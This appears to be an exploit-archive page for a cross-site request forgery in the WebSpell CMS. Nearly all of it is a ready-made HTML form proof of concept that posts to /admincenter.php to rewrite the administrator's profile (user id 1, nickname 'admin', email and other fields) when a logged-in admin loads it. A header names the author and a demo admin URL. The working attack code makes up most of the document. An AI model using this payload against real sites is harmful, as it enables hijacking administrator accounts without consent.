<!--
                                               _____ 	__     __ __      ___
                                              / ___ \	\  \   \ \ /\    /  /
                                             / /   \/	 \  \  /  \  \  /  /
                                             | |      	  \  \/  / \  \/  /
                                             | \    __ 	   \    /   \    /
                                             \  \__/ /	    \  /     \  /
                                              \_____/	     \/       \/
-->

<!-- SGFtZCDCbGVtbGVyaW4gUmFiYmkgT2xhbiBBbGxhaCdhIE1haHN1c3R1cg== -->
<!-- SGVyIGlsaW0gc2FoaWJpIPxzdPxuZGUgYmlyIGJpbGVuIHZhcmQmIzMwNTtyLiAoWXVzdWYgc/tyZXNpLzc2KQ== -->
<!-- Q3liZXItV2FycmlvciBUSU0gLy8gMjEgQ2VtYXppeWVsRXZ2ZWwgMTQyMg== -->


<META http-equiv="content-type" content="text/html; charset=ISO-8859-9">



------------------- header data start ------------------- &gt;<br>
<br>
#############################################################<br>
<br>
# Application Name    : WebSpell<br>
<br>
# Vulnerable Type     : CSRF<br>
<br>
# Demo               : http://demo.opensourcecms.com/webspell/admin<br>
<br>
# Author              : Jonturk75<br>
<br>
#############################################################<br>
<br>
&lt; ------------------- header data end of ------------------- &gt;<br>
<br>
&lt;form method&#061;post enctype&#061;multipart/form-data action&#061;/admincenter.php?site&#061;users&page&#061;1&type&#061;ASC&sort&#061;nickname&gt;<br>
&lt;input type&#061;text name&#061;nickname value&#061;admin size&#061;60 /&gt;&lt;/td&gt;<br>
&lt;input type&#061;text name&#061;email value&#061;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="84ebf7e7e9f7c4ebf4e1eaf7ebf1f6e7e1e7e9f7aae7ebe9">[email&#160;protected]</a> size&#061;60 /&gt;<br>
&lt;input name&#061;avatar type&#061;file size&#061;40 /&gt;<br>
&lt;input type&#061;checkbox name&#061;avatar value&#061;1 /&gt;<br>
&lt;input name&#061;userpic type&#061;file size&#061;40 /&gt;<br>
&lt;input type&#061;checkbox name&#061;userpic value&#061;1 /&gt;<br>
&lt;input type&#061;text name&#061;firstname value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;lastname value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;b_day value&#061;01 size&#061;2 /&gt;<br>
&lt;input type&#061;text name&#061;b_month value&#061;01 size&#061;2 /&gt;<br>
&lt;input type&#061;text name&#061;b_year value&#061;1970 size&#061;4 /&gt;<br>
&lt;select name&#061;sex&gt;&lt;option value&#061;m&gt;male&lt;/option&gt;&lt;option value&#061;f&gt;female&lt;/option&gt;&lt;option value&#061;u selected&#061;selected&gt;not available&lt;/option&gt;&lt;/select&gt;<br>
&lt;select name&#061;flag&gt;&lt;option value&#061;al&gt;Albania&lt;/option&gt;&lt;option value&#061;dz&gt;Algeria&lt;/option&gt;&lt;option value&#061;as&gt;American Samoa&lt;/option&gt;<br>
&lt;option value&#061;ad&gt;Andorra&lt;/option&gt;&lt;option value&#061;ao&gt;Angola&lt;/option&gt;&lt;option value&#061;ai&gt;Anguilla&lt;/option&gt;&lt;option value&#061;aq&gt;Antarctica&lt;/option&gt;<br>
&lt;option value&#061;ag&gt;Antigua and Barbuda&lt;/option&gt;&lt;option value&#061;ar&gt;Argentina&lt;/option&gt;&lt;option value&#061;am&gt;Armenia&lt;/option&gt;&lt;option value&#061;aw&gt;Aruba&lt;/option&gt;<br>
&lt;option value&#061;au&gt;Australia&lt;/option&gt;&lt;option value&#061;at&gt;Austria&lt;/option&gt;&lt;option value&#061;az&gt;Azerbaijan&lt;/option&gt;&lt;option value&#061;bz&gt;Bahamas&lt;/option&gt;<br>
&lt;option value&#061;bh&gt;Bahrain&lt;/option&gt;&lt;option value&#061;bd&gt;Bangladesh&lt;/option&gt;&lt;option value&#061;bb&gt;Barbados&lt;/option&gt;&lt;option value&#061;by&gt;Belarus&lt;/option&gt;<br>
&lt;option value&#061;be&gt;Belgium&lt;/option&gt;&lt;option value&#061;bx&gt;Benelux&lt;/option&gt;&lt;option value&#061;bj&gt;Benin&lt;/option&gt;&lt;option value&#061;bm&gt;Bermuda&lt;/option&gt;<br>
&lt;option value&#061;bt&gt;Bhutan&lt;/option&gt;&lt;option value&#061;bo&gt;Bolivia&lt;/option&gt;&lt;option value&#061;ba&gt;Bosnia Herzegowina&lt;/option&gt;&lt;option value&#061;bw&gt;Botswana&lt;/option&gt;<br>
&lt;option value&#061;bv&gt;Bouvet Island&lt;/option&gt;&lt;option value&#061;br&gt;Brazil&lt;/option&gt;&lt;option value&#061;io&gt;British Indian Ocean Territory&lt;/option&gt;<br>
&lt;option value&#061;bn&gt;Brunei Darussalam&lt;/option&gt;&lt;option value&#061;bg&gt;Bulgaria&lt;/option&gt;&lt;option value&#061;bf&gt;Burkina Faso&lt;/option&gt;&lt;option value&#061;bi&gt;Burundi&lt;/option&gt;<br>
&lt;option value&#061;kh&gt;Cambodia&lt;/option&gt;&lt;option value&#061;cm&gt;Cameroon&lt;/option&gt;&lt;option value&#061;ca&gt;Canada&lt;/option&gt;&lt;option value&#061;cv&gt;Cape Verde&lt;/option&gt;<br>
&lt;option value&#061;ky&gt;Cayman Islands&lt;/option&gt;&lt;option value&#061;cf&gt;Central African Republic&lt;/option&gt;&lt;option value&#061;cl&gt;Chile&lt;/option&gt;&lt;option value&#061;cn&gt;China&lt;/option&gt;<br>
&lt;option value&#061;cx&gt;Christmas Island&lt;/option&gt;&lt;option value&#061;cc&gt;Cocos Islands&lt;/option&gt;&lt;option value&#061;co&gt;Colombia&lt;/option&gt;&lt;option value&#061;km&gt;Comoros&lt;/option&gt;<br>
&lt;option value&#061;cg&gt;Congo&lt;/option&gt;&lt;option value&#061;ck&gt;Cook Islands&lt;/option&gt;&lt;option value&#061;cr&gt;Costa Rica&lt;/option&gt;&lt;option value&#061;ci&gt;Cote d’Ivoire&lt;/option&gt;<br>
&lt;option value&#061;hr&gt;Croatia&lt;/option&gt;&lt;option value&#061;cu&gt;Cuba&lt;/option&gt;&lt;option value&#061;cy&gt;Cyprus&lt;/option&gt;&lt;option value&#061;cz&gt;Czech Republic&lt;/option&gt;<br>
&lt;option value&#061;cd&gt;Democratic Congo&lt;/option&gt;&lt;option value&#061;kp&gt;Democratic Korea&lt;/option&gt;&lt;option value&#061;dk&gt;Denmark&lt;/option&gt;&lt;option value&#061;dj&gt;Djibouti&lt;/option&gt;<br>
&lt;option value&#061;dm&gt;Dominica&lt;/option&gt;&lt;option value&#061;do&gt;Dominican Republic&lt;/option&gt;&lt;option value&#061;tp&gt;East Timor&lt;/option&gt;&lt;option value&#061;ec&gt;Ecuador&lt;/option&gt;<br>
&lt;option value&#061;eg&gt;Egypt&lt;/option&gt;&lt;option value&#061;sv&gt;El Salvador&lt;/option&gt;&lt;option value&#061;en&gt;England&lt;/option&gt;&lt;option value&#061;er&gt;Eritrea&lt;/option&gt;<br>
&lt;option value&#061;ee&gt;Estonia&lt;/option&gt;&lt;option value&#061;et&gt;Ethiopia&lt;/option&gt;&lt;option value&#061;eu&gt;European Union&lt;/option&gt;&lt;option value&#061;fk&gt;Falkland Islands&lt;/option&gt;<br>
&lt;option value&#061;fo&gt;Faroe Islands&lt;/option&gt;&lt;option value&#061;fj&gt;Fiji&lt;/option&gt;&lt;option value&#061;fi&gt;Finland&lt;/option&gt;&lt;option value&#061;fr&gt;France&lt;/option&gt;<br>
&lt;option value&#061;pf&gt;French Polynesia&lt;/option&gt;&lt;option value&#061;tf&gt;French Southern Territories&lt;/option&gt;&lt;option value&#061;ga&gt;Gabon&lt;/option&gt;&lt;option value&#061;gm&gt;Gambia&lt;/option&gt;<br>
&lt;option value&#061;ge&gt;Georgia&lt;/option&gt;&lt;option value&#061;de&gt;Germany&lt;/option&gt;&lt;option value&#061;gh&gt;Ghana&lt;/option&gt;&lt;option value&#061;gi&gt;Gibraltar&lt;/option&gt;<br>
&lt;option value&#061;gr&gt;Greece&lt;/option&gt;&lt;option value&#061;gl&gt;Greenland&lt;/option&gt;&lt;option value&#061;gd&gt;Grenada&lt;/option&gt;&lt;option value&#061;gp&gt;Guadeloupe&lt;/option&gt;&lt;option value&#061;gu&gt;Guam&lt;/option&gt;&lt;option value&#061;gt&gt;Guatemala&lt;/option&gt;&lt;option value&#061;gn&gt;Guinea&lt;/option&gt;&lt;option value&#061;gw&gt;Guinea-Bissau&lt;/option&gt;&lt;option value&#061;gy&gt;Guyana&lt;/option&gt;&lt;option value&#061;ht&gt;Haiti&lt;/option&gt;&lt;option value&#061;hm&gt;Heard Islands&lt;/option&gt;&lt;option value&#061;va&gt;Holy See&lt;/option&gt;&lt;option value&#061;hn&gt;Honduras&lt;/option&gt;&lt;option value&#061;hk&gt;Hong Kong&lt;/option&gt;&lt;option value&#061;hu&gt;Hungary&lt;/option&gt;&lt;option value&#061;is&gt;Iceland&lt;/option&gt;&lt;option value&#061;in&gt;India&lt;/option&gt;&lt;option value&#061;id&gt;Indonesia&lt;/option&gt;&lt;option value&#061;ir&gt;Iran&lt;/option&gt;&lt;option value&#061;iq&gt;Iraq&lt;/option&gt;&lt;option value&#061;ie&gt;Ireland&lt;/option&gt;&lt;option value&#061;il&gt;Israel&lt;/option&gt;&lt;option value&#061;it&gt;Italy&lt;/option&gt;&lt;option value&#061;jm&gt;Jamaica&lt;/option&gt;&lt;option value&#061;jp&gt;Japan&lt;/option&gt;&lt;option value&#061;jo&gt;Jordan&lt;/option&gt;&lt;option value&#061;kz&gt;Kazakhstan&lt;/option&gt;&lt;option value&#061;ke&gt;Kenia&lt;/option&gt;&lt;option value&#061;ki&gt;Kiribati&lt;/option&gt;&lt;option value&#061;kr&gt;Korea&lt;/option&gt;&lt;option value&#061;kw&gt;Kuwait&lt;/option&gt;&lt;option value&#061;kg&gt;Kyrgyzstan&lt;/option&gt;&lt;option value&#061;la&gt;Lao People’s&lt;/option&gt;&lt;option value&#061;lv&gt;Latvia&lt;/option&gt;&lt;option value&#061;lb&gt;Lebanon&lt;/option&gt;&lt;option value&#061;ls&gt;Lesotho&lt;/option&gt;&lt;option value&#061;lr&gt;Liberia&lt;/option&gt;&lt;option value&#061;ly&gt;Libyan Arab Jamahiriya&lt;/option&gt;&lt;option value&#061;li&gt;Liechtenstein&lt;/option&gt;&lt;option value&#061;lt&gt;Lithuania&lt;/option&gt;&lt;option value&#061;lu&gt;Luxemburg&lt;/option&gt;&lt;option value&#061;mo&gt;Macau&lt;/option&gt;&lt;option value&#061;mk&gt;Macedonia&lt;/option&gt;&lt;option value&#061;mg&gt;Madagascar&lt;/option&gt;&lt;option value&#061;mw&gt;Malawi&lt;/option&gt;&lt;option value&#061;my&gt;Malaysia&lt;/option&gt;&lt;option value&#061;mv&gt;Maldives&lt;/option&gt;&lt;option value&#061;ml&gt;Mali&lt;/option&gt;&lt;option value&#061;mt&gt;Malta&lt;/option&gt;&lt;option value&#061;mh&gt;Marshall Islands&lt;/option&gt;&lt;option value&#061;mr&gt;Mauritania&lt;/option&gt;&lt;option value&#061;mu&gt;Mauritius&lt;/option&gt;&lt;option value&#061;mx&gt;Mexico&lt;/option&gt;&lt;option value&#061;fm&gt;Micronesia&lt;/option&gt;&lt;option value&#061;md&gt;Moldova&lt;/option&gt;&lt;option value&#061;mc&gt;Monaco&lt;/option&gt;&lt;option value&#061;mn&gt;Mongolia&lt;/option&gt;&lt;option value&#061;ms&gt;Montserrat&lt;/option&gt;&lt;option value&#061;ma&gt;Morocco&lt;/option&gt;&lt;option value&#061;mz&gt;Mozambique&lt;/option&gt;&lt;option value&#061;mm&gt;Myanmar&lt;/option&gt;&lt;option value&#061;nb&gt;Namibia&lt;/option&gt;&lt;option value&#061;nr&gt;Nauru&lt;/option&gt;&lt;option value&#061;np&gt;Nepal&lt;/option&gt;&lt;option value&#061;nl&gt;Netherlands&lt;/option&gt;&lt;option value&#061;an&gt;Netherlands Antilles&lt;/option&gt;&lt;option value&#061;nc&gt;New Caledonia&lt;/option&gt;&lt;option value&#061;nz&gt;New Zealand&lt;/option&gt;&lt;option value&#061;ni&gt;Nicaragua&lt;/option&gt;&lt;option value&#061;ng&gt;Nigeria&lt;/option&gt;&lt;option value&#061;nu&gt;Niue&lt;/option&gt;&lt;option value&#061;nf&gt;Norfolk Island&lt;/option&gt;&lt;option value&#061;nx&gt;Northern Ireland&lt;/option&gt;&lt;option value&#061;mp&gt;Northern Mariana Islands&lt;/option&gt;&lt;option value&#061;no&gt;Norway&lt;/option&gt;&lt;option value&#061;om&gt;Oman&lt;/option&gt;&lt;option value&#061;pk&gt;Pakistan&lt;/option&gt;&lt;option value&#061;pw&gt;Palau&lt;/option&gt;&lt;option value&#061;ps&gt;Palestinian&lt;/option&gt;&lt;option value&#061;pa&gt;Panama&lt;/option&gt;&lt;option value&#061;pg&gt;Papua New Guinea&lt;/option&gt;&lt;option value&#061;py&gt;Paraguay&lt;/option&gt;&lt;option value&#061;pe&gt;Peru&lt;/option&gt;&lt;option value&#061;ph&gt;Philippines&lt;/option&gt;&lt;option value&#061;pn&gt;Pitcairn&lt;/option&gt;&lt;option value&#061;pl&gt;Poland&lt;/option&gt;&lt;option value&#061;pt&gt;Portugal&lt;/option&gt;&lt;option value&#061;pr&gt;Puerto Rico&lt;/option&gt;&lt;option value&#061;qa&gt;Qatar&lt;/option&gt;&lt;option value&#061;re&gt;Reunion&lt;/option&gt;&lt;option value&#061;ro&gt;Romania&lt;/option&gt;&lt;option value&#061;ru&gt;Russian Federation&lt;/option&gt;&lt;option value&#061;rw&gt;Rwanda&lt;/option&gt;&lt;option value&#061;sh&gt;Saint Helena&lt;/option&gt;&lt;option value&#061;kn&gt;Saint Kitts and Nevis&lt;/option&gt;&lt;option value&#061;lc&gt;Saint Lucia&lt;/option&gt;&lt;option value&#061;pm&gt;Saint Pierre and Miquelon&lt;/option&gt;&lt;option value&#061;vc&gt;Saint Vincent&lt;/option&gt;&lt;option value&#061;ws&gt;Samoa&lt;/option&gt;&lt;option value&#061;sm&gt;San Marino&lt;/option&gt;&lt;option value&#061;st&gt;Sao Tome and Principe&lt;/option&gt;&lt;option value&#061;sa&gt;Saudi Arabia&lt;/option&gt;&lt;option value&#061;sc&gt;Scotland&lt;/option&gt;&lt;option value&#061;sn&gt;Senegal&lt;/option&gt;&lt;option value&#061;sl&gt;Sierra Leone&lt;/option&gt;&lt;option value&#061;sg&gt;Singapore&lt;/option&gt;&lt;option value&#061;sk&gt;Slovak Republic&lt;/option&gt;&lt;option value&#061;si&gt;Slovenia&lt;/option&gt;&lt;option value&#061;sb&gt;Solomon Islands&lt;/option&gt;&lt;option value&#061;so&gt;Somalia&lt;/option&gt;&lt;option value&#061;za&gt;South Africa&lt;/option&gt;&lt;option value&#061;gs&gt;South Georgia&lt;/option&gt;&lt;option value&#061;es&gt;Spain&lt;/option&gt;&lt;option value&#061;lk&gt;Sri Lanka&lt;/option&gt;&lt;option value&#061;sd&gt;Sudan&lt;/option&gt;&lt;option value&#061;sr&gt;Suriname&lt;/option&gt;&lt;option value&#061;sj&gt;Svalbard and Jan Mayen&lt;/option&gt;&lt;option value&#061;sz&gt;Swaziland&lt;/option&gt;&lt;option value&#061;se&gt;Sweden&lt;/option&gt;&lt;option value&#061;ch&gt;Switzerland&lt;/option&gt;&lt;option value&#061;sy&gt;Syria&lt;/option&gt;&lt;option value&#061;tw&gt;Taiwan&lt;/option&gt;&lt;option value&#061;tj&gt;Tajikistan&lt;/option&gt;&lt;option value&#061;tz&gt;Tanzania&lt;/option&gt;&lt;option value&#061;th&gt;Thailand&lt;/option&gt;&lt;option value&#061;ti&gt;Tibet&lt;/option&gt;&lt;option value&#061;tg&gt;Togo&lt;/option&gt;&lt;option value&#061;tk&gt;Tokelau&lt;/option&gt;&lt;option value&#061;to&gt;Tonga&lt;/option&gt;&lt;option value&#061;tt&gt;Trinidad and Tobago&lt;/option&gt;&lt;option value&#061;tn&gt;Tunisia&lt;/option&gt;&lt;option value&#061;tr&gt;Turkey&lt;/option&gt;&lt;option value&#061;tm&gt;Turkmenistan&lt;/option&gt;&lt;option value&#061;tc&gt;Turks_and Caicos Islands&lt;/option&gt;&lt;option value&#061;tv&gt;Tuvalu&lt;/option&gt;&lt;option value&#061;ug&gt;Uganda&lt;/option&gt;&lt;option value&#061;ua&gt;Ukraine&lt;/option&gt;&lt;option value&#061;ae&gt;United Arab Emirates&lt;/option&gt;&lt;option value&#061;uk&gt;United Kingdom&lt;/option&gt;&lt;option value&#061;uy&gt;Uruguay&lt;/option&gt;&lt;option value&#061;us&gt;USA&lt;/option&gt;&lt;option value&#061;uz&gt;Uzbekistan&lt;/option&gt;&lt;option value&#061;vu&gt;Vanuatu&lt;/option&gt;&lt;option value&#061;ve&gt;Venezuela&lt;/option&gt;&lt;option value&#061;vn&gt;Vietnam&lt;/option&gt;&lt;option value&#061;vg&gt;Virgin Islands (British)&lt;/option&gt;&lt;option value&#061;vi&gt;Virgin Islands (USA)&lt;/option&gt;&lt;option value&#061;wa&gt;Wales&lt;/option&gt;&lt;option value&#061;wf&gt;Wallis and Futuna&lt;/option&gt;&lt;option value&#061;eh&gt;Western Sahara&lt;/option&gt;&lt;option value&#061;ye&gt;Yemen&lt;/option&gt;&lt;option value&#061;yu&gt;Yugoslavia&lt;/option&gt;&lt;option value&#061;zm&gt;Zambia&lt;/option&gt;&lt;option value&#061;zw&gt;Zimbabwe&lt;/option&gt;&lt;/select&gt;&lt;/td&gt;<br>
&lt;input type&#061;text name&#061;town value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;icq value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;homepage value&#061; size&#061;60 /&gt;<br>
&lt;textarea name&#061;usertext rows&#061;5 cols&#061; style&#061;width: 60%;&gt;&lt;/textarea&gt;<br>
&lt;textarea name&#061;about rows&#061;5 cols&#061; style&#061;width: 60%;&gt;&lt;/textarea&gt;<br>
&lt;input type&#061;text name&#061;clantag value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;clanname value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;clanhp value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;clanirc value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;clanhistory value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;cpu value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;mainboard value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;ram value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;monitor value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;graphiccard value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;soundcard value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;connection value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;keyboard value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;mouse value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;text name&#061;mousepad value&#061; size&#061;60 /&gt;<br>
&lt;input type&#061;hidden name&#061;captcha_hash value&#061;36888645a34d11c405b7546b4e197310 /&gt;&lt;input type&#061;hidden name&#061;id value&#061;1 /&gt;<br>
&lt;input type&#061;submit name&#061;edit value&#061;edit Profile /&gt;<br>
&lt;/form&gt;<br>
<br>
&lt; -- bug code end of -- &gt;<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>